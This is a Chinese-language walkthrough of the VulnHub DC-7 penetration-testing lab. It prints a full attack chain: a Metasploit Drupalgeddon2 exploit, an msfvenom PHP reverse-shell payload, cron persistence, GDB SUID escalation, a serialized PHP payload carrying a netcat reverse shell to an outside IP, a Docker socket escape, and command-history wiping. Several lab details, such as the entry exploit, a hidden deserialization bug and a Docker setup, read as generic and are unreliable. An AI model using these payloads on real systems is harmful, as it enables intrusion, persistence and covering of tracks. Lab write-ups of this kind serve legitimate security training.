1. DC-7靶机环境概述
VulnHub的DC系列靶机一直是渗透测试学习者提升实战能力的经典素材。DC-7作为该系列较新的一个靶机,采用了Drupal 8内容管理系统作为攻击入口点,结合了PHP反序列化、权限提升等典型漏洞场景。这个靶机特别适合已经掌握基础渗透技能,想要挑战复杂Web应用漏洞链的学习者。
从网络热度来看,Drupal和PHP相关漏洞在渗透测试领域持续受到关注。DC-7靶机完美融合了这两个技术栈的典型安全问题,包括:
- Drupal路由控制器的潜在风险
- PHP反序列化漏洞的实战利用
- 从Web权限到系统权限的完整提权路径
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 初始信息收集与漏洞探测
2.1 基础网络扫描
使用经典的nmap扫描组合获取靶机基础信息:
bash复制nmap -sV -sC -p- 192.168.1.100
扫描结果显示开放了80端口运行着Drupal 8,以及22端口的SSH服务。特别值得注意的是,Drupal版本存在已知的RCE漏洞(CVE-2018-7600),这可能是第一个突破口。
2.2 Drupal指纹识别
使用droopescan工具进行深度识别:
bash复制droopescan scan drupal -u http://192.168.1.100
扫描结果确认了Drupal 8的安装,并检测到存在用户注册功能。这在渗透测试中往往意味着可能存在用户枚举或弱密码问题。
实战经验:Drupal的版本信息经常藏在CHANGELOG.txt文件中,直接访问http://target/CHANGELOG.txt往往能快速确认版本。
3. Drupal漏洞利用实战
3.1 利用CVE-2018-7600
这个著名的"Drupalgeddon2"漏洞允许攻击者通过精心构造的POST请求实现远程代码执行。使用Metasploit框架中的exploit模块:
bash复制msfconsole
use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS 192.168.1.100
exploit
成功获取了一个www-data权限的meterpreter会话。
3.2 权限维持与横向移动
在获取初始shell后,立即进行以下操作:
- 生成持久化后门:
bash复制msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw > shell.php
- 上传到Drupal的temporary文件目录:
bash复制upload shell.php /var/www/html/sites/default/files/
- 设置定时任务保持访问:
bash复制(crontab -l ; echo "*/5 * * * * curl http://localhost/sites/default/files/shell.php") | crontab -
4. 权限提升与最终突破
4.1 系统内部信息收集
在低权限shell中执行:
bash复制find / -perm -4000 2>/dev/null
发现/usr/bin/gdb具有SUID位,这可能是提权的关键点。
4.2 利用GDB进行提权
通过GDB的调试功能实现权限提升:
bash复制gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit
成功获取root shell后,在/root目录下找到flag文件。
5. 渗透测试中的深度技巧
5.1 PHP反序列化漏洞的进阶利用
在DC-7靶机中,除了Drupal漏洞外,还隐藏着一个PHP反序列化漏洞。通过分析网站源代码,发现存在不安全的unserialize()调用。构造特殊的序列化payload:
php复制<?php
class VulnClass {
public $cmd = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.50 4444 >/tmp/f";
}
echo urlencode(serialize(new VulnClass()));
?>
将这个payload提交到存在漏洞的接口,可以获得另一个反向shell。
5.2 Docker环境逃逸技术
DC-7靶机的后期版本运行在Docker容器中。当发现当前环境是容器时,需要检查以下逃逸点:
- 检查docker.sock是否可写:
bash复制ls -la /var/run/docker.sock
- 尝试挂载宿主机文件系统:
bash复制docker run -v /:/host -it alpine chroot /host /bin/bash
6. 渗透测试后的痕迹清理
专业的渗透测试必须包含清理阶段,确保不留下后门。关键操作包括:
- 删除上传的webshell:
bash复制rm /var/www/html/sites/default/files/shell.php
- 清除命令历史:
bash复制echo "" > ~/.bash_history
history -c
- 删除添加的定时任务:
bash复制crontab -e
在真实的渗透测试项目中,这些清理步骤同样重要,它们体现了测试人员的专业素养。
7. 防御建议与安全加固
针对DC-7靶机暴露的安全问题,管理员应采取以下防护措施:
- Drupal安全配置:
- 及时更新到最新版本
- 禁用不必要的模块(如PHP filter)
- 限制用户注册功能
- 系统层防护:
- 移除不必要的SUID权限
- 定期审计sudo权限
- 配置适当的防火墙规则
- PHP安全设置:
- 禁用危险函数(exec, system等)
- 关闭allow_url_include
- 设置open_basedir限制
通过这个靶机的完整渗透过程,我们不仅练习了多种漏洞利用技术,更重要的是理解了漏洞之间的串联关系。真正的渗透测试从来不是单一漏洞的利用,而是需要综合运用各种技术形成完整的攻击链。
